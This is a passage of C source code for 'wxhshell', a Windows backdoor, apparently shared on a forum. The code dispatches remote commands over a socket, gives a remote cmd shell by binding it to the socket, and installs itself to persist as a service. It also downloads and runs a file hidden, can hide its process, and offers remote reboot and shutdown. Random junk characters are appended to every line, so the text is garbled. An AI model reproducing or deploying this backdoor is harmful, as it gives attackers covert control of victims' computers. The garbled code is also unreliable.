  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f?0D%pxc}&  
  } xD0NZ~w%  
  else { H/`G  
a[i>;0  
    switch(cmd[0]) { -ek1$y9)  
  R'Eq:Rv~;^  
  // 帮助 piuKV U  
  case '?': { B52H(sm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o\60 n  
    break; pU hc3L  
  } *:j-zrwu&  
  // 安装 L;Vq j]_  
  case 'i': { L~ 2q1  
    if(Install()) ngLJ@TP-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gLx/w\l6  
    else !EM#m@kZ{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cUsL 6y  
    break; 8T7f[?  
    } G h=<0WaF=  
  // 卸载 ?} X}#  
  case 'r': { kXEtuO5FUM  
    if(Uninstall()) B0"0_n7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HT&p{7kFm  
    else $l#{_~ "m7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '%ebcL  
    break; Efvq?cG&  
    } CrO`=\  
  // 显示 wxhshell 所在路径 ]hKgA~;  
  case 'p': { ]4GZ'&m}  
    char svExeFile[MAX_PATH]; obYn&\6  
    strcpy(svExeFile,"\n\r"); %wtXo BJ  
      strcat(svExeFile,ExeFile); zHqhl}  
        send(wsh,svExeFile,strlen(svExeFile),0); rg*^w!   
    break; m r2S!  
    } Q)T+r~#2B  
  // 重启 /yp/9r@T0  
  case 'b': { ssT@<Tk^4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }1F6?do3&  
    if(Boot(REBOOT)) &M= 3{[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EIPnm%{1  
    else { c"qPTjY  
    closesocket(wsh); w49{-Pp[  
    ExitThread(0); shNE~TA  
    } >fg4x+0%  
    break; T*R{L  
    } sxk*$jO[]  
  // 关机 :Dj#VN  
  case 'd': { ;le0QA Pf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c(E,&{+E  
    if(Boot(SHUTDOWN)) /:KQAM0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?CFoe$M  
    else { ]/[0O+B?  
    closesocket(wsh); {!y<<u1  
    ExitThread(0); Tm\OYYyk  
    } "]UIz_^'`U  
    break; MISE C[/  
    } AygvJeM_W  
  // 获取shell $N dH*  
  case 's': { R|-j]Ne  
    CmdShell(wsh); VAg68 EbnF  
    closesocket(wsh); dxntGH< O  
    ExitThread(0); EZ `}*Yrd  
    break; V $>"f(  
  } ([tG y  
  // 退出 ~hzEKvs  
  case 'x': { ? o sfL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %b9fW  
    CloseIt(wsh); ]xYayN!n  
    break; X+%u(>>  
    } T(gg>_'jh  
  // 离开 @ 'Q%Jc(  
  case 'q': { e lay =%)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9ClF<5?M  
    closesocket(wsh); 4M7^ [G  
    WSACleanup(); Op90NZI#K  
    exit(1); ^1Yo-T(R  
    break; uD[^K1Ag]^  
        } 0H<4+ *`K  
  } Z7oaQ\fR  
  } }|,EU!nDi  
6$DG.p  
  // 提示信息 xh`Du|jvm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `T`c@A  
} NU(^6  
  } !YIb  
Q<C@KBiVE  
  return; VT Vm7l  
} 9GaL0OWo  
{n6\g]p3  
// shell模块句柄 mgxz1d  
int CmdShell(SOCKET sock) {RH*8?7  
{ juXC?2c  
STARTUPINFO si; |w4(rs-  
ZeroMemory(&si,sizeof(si)); ,;c{9H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4[Z1r~t\L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E::<; 9  
PROCESS_INFORMATION ProcessInfo; 4V1|jy3  
char cmdline[]="cmd"; &62` Wr0C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p#z;cjfSt  
  return 0; r.9 $y/5  
} K# /Ch5?  
dw3'T4TC?  
// 自身启动模式 bYK]G+Ww  
int StartFromService(void) hg{ &Y(J!U  
{ 1aVgwAI  
typedef struct ThbP;CzI#  
{ (%.</|u  
  DWORD ExitStatus; W!y)Ho  
  DWORD PebBaseAddress; GgT=t)}wu  
  DWORD AffinityMask; 48;~bVr}  
  DWORD BasePriority; 6S)$3Is  
  ULONG UniqueProcessId; b6]e4DL:R  
  ULONG InheritedFromUniqueProcessId; )S#j.8P'B  
}   PROCESS_BASIC_INFORMATION; coSTZ&0  
(5>{?dR)|  
PROCNTQSIP NtQueryInformationProcess; |^Ur  
u^!&{q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E $<;@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ??q!jm-m  
FDl,Ey^r/  
  HANDLE             hProcess; A7.JFf>  
  PROCESS_BASIC_INFORMATION pbi; rpx 0|{m  
f x%z| K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EmF]W+!z%  
  if(NULL == hInst ) return 0; F W/)uf3I  
JtThkh'-"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cj`#Tg.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,b.kw}k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r,QJG$ Jo  
#%;<FFu\  
  if (!NtQueryInformationProcess) return 0; Q.*'H_Y  
p?_'|#tz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y7*'QKz2  
  if(!hProcess) return 0; G[y&`Qc)G  
]<Z&=0i#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IruyE(;HS  
G3oxa/mO  
  CloseHandle(hProcess); :~-)Sm+^  
VyRW'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dE+CIjW5  
if(hProcess==NULL) return 0; 9UB??049z  
-,[~~  
HMODULE hMod; _!| =AIX  
char procName[255]; <XU8a:w'T  
unsigned long cbNeeded; h5<T.vV  
c9 gz!NE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W<Bxm|  
0c%@e2(N  
  CloseHandle(hProcess); aB/{ %%o  
6JUav."`~  
if(strstr(procName,"services")) return 1; // 以服务启动 3we.*\2$  
jq7vOr-_g  
  return 0; // 注册表启动 z<FV1niE  
} ^)(G(=-Rf  
u Eu6f  
// 主模块 n$nne6|O  
int StartWxhshell(LPSTR lpCmdLine) cC7"J\+r*  
{ #rqyy0k0'h  
  SOCKET wsl; S(@*3]!q  
BOOL val=TRUE; _G_ &Me0  
  int port=0; kyp U&F  
  struct sockaddr_in door; fQ2!sV  
GZxglU,3T  
  if(wscfg.ws_autoins) Install(); ;a#}fX  
"US" `a2  
port=atoi(lpCmdLine); wjN`EF5$}&  
u>JqFw1  
if(port<=0) port=wscfg.ws_port; p,3go[9X:R  
Z5"!0B^ j  
  WSADATA data; ~)WfJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #L|JkBia  
-='8_B/75  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g}\U, (  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >DSNKU+j  
  door.sin_family = AF_INET; ~gSF@tz@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MYur3lj%_  
  door.sin_port = htons(port); /zChdjz  
t;Fbt("]:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { COxZ Q  
closesocket(wsl); @n5;|`)\  
return 1; +!mNm?H[!  
} 7I@9v=xV  
AH"g^ gw~T  
  if(listen(wsl,2) == INVALID_SOCKET) { /1[}G!  
closesocket(wsl); @5<]W+jk4  
return 1; e'}ePvN  
} bCJ<=X,g`K  
  Wxhshell(wsl); ~(w=U *  
  WSACleanup(); V{7lltu  
5n&)q=jk=  
return 0; +9=@E  
nR=2eBNf  
} B}l}Aq8  
|SSf G~r  
// 以NT服务方式启动 jQH5$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =B3!jir  
{ x= vE&9_u  
DWORD   status = 0; ,qBnqi[  
  DWORD   specificError = 0xfffffff; j SUAU}u!M  
PHe~{"|d?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o O{|C&A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )<H 91:.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l^!0|/Vw  
  serviceStatus.dwWin32ExitCode     = 0; H|UV+Q0,  
  serviceStatus.dwServiceSpecificExitCode = 0; te!]9rR  
  serviceStatus.dwCheckPoint       = 0; c0,gfY%sI$  
  serviceStatus.dwWaitHint       = 0; 7cOg(6N  
^`hI00u(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ba\wq:  
  if (hServiceStatusHandle==0) return; %WJ\'@O\  
pw(U< )  
status = GetLastError(); \'}/&PCkr  
  if (status!=NO_ERROR) j L>I5f  
{ h&:Q$*A>   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sqMNon`5  
    serviceStatus.dwCheckPoint       = 0; ?,+C!R?  
    serviceStatus.dwWaitHint       = 0; >8F{lbEe  
    serviceStatus.dwWin32ExitCode     = status; E980yXJR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7DC0W|Fe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2>_brz|7:|  
    return; &y+PSa%n  
  } SSA%1l 2!  
((hJmaq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0k] ju  
  serviceStatus.dwCheckPoint       = 0; qxecp2>U  
  serviceStatus.dwWaitHint       = 0; /64^5DjTh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); toYg$IV  
} +r#=n7 t  
 5Xy^I^J  
// 处理NT服务事件,比如:启动、停止 K{r1&O>W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dwf #~7h_  
{ l9ch  
switch(fdwControl) MK!]y8+Z  
{ Ztpm_P6  
case SERVICE_CONTROL_STOP: c9cphZ(z  
  serviceStatus.dwWin32ExitCode = 0; {C,1w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]C!Y~  
  serviceStatus.dwCheckPoint   = 0; 8g2-8pa{  
  serviceStatus.dwWaitHint     = 0; *Wuctu^9  
  { m_PrasZ>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]<o.aMdV  
  } (x@i,Ba@  
  return; QB.*R?A  
case SERVICE_CONTROL_PAUSE: ;?HZ,"^I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M~g~LhsF  
  break; dWq/)%@t  
case SERVICE_CONTROL_CONTINUE: )W}/k$S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]B-$p p  
  break; "k_n+cH%  
case SERVICE_CONTROL_INTERROGATE: ^S;RX*  
  break; J}Z_.:JO(w  
}; rz%[o,s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A aF5`  
} kgbr+Yw2X  
>1)@n3.<O  
// 标准应用程序主函数 Z%HEn$t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lJz?QI1  
{ "DcueU#!  
Dry;$C}P  
// 获取操作系统版本 i1_>>49*  
OsIsNt=GetOsVer(); Kj1#R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D0E"YEo\nv  
6UzT]"LR;  
  // 从命令行安装 ]`i@~Z h\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2'UFHiK  
n\8[G [M  
  // 下载执行文件 n[cyK$"  
if(wscfg.ws_downexe) { #&`WMLl+8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l_q>(FoqA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ppo^qb  
} ,ov v  
KiRt'  
if(!OsIsNt) { @)juP- o%  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Ws/0c  
HideProc(); dc@wf;o  
StartWxhshell(lpCmdLine); s2' :&5(  
} C&s }m0R  
else |uBot#K|  
  if(StartFromService()) :]z-Rz  
  // 以服务方式启动 zHum&V8=H  
  StartServiceCtrlDispatcher(DispatchTable); {;(g[H=q;  
else G4J6  
  // 普通方式启动 _ry En  
  StartWxhshell(lpCmdLine);  !k??Kj  
1n5e^'z  
return 0; p7=^m>Z6  
}
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只看该作者 1 发表于: 2006-10-10
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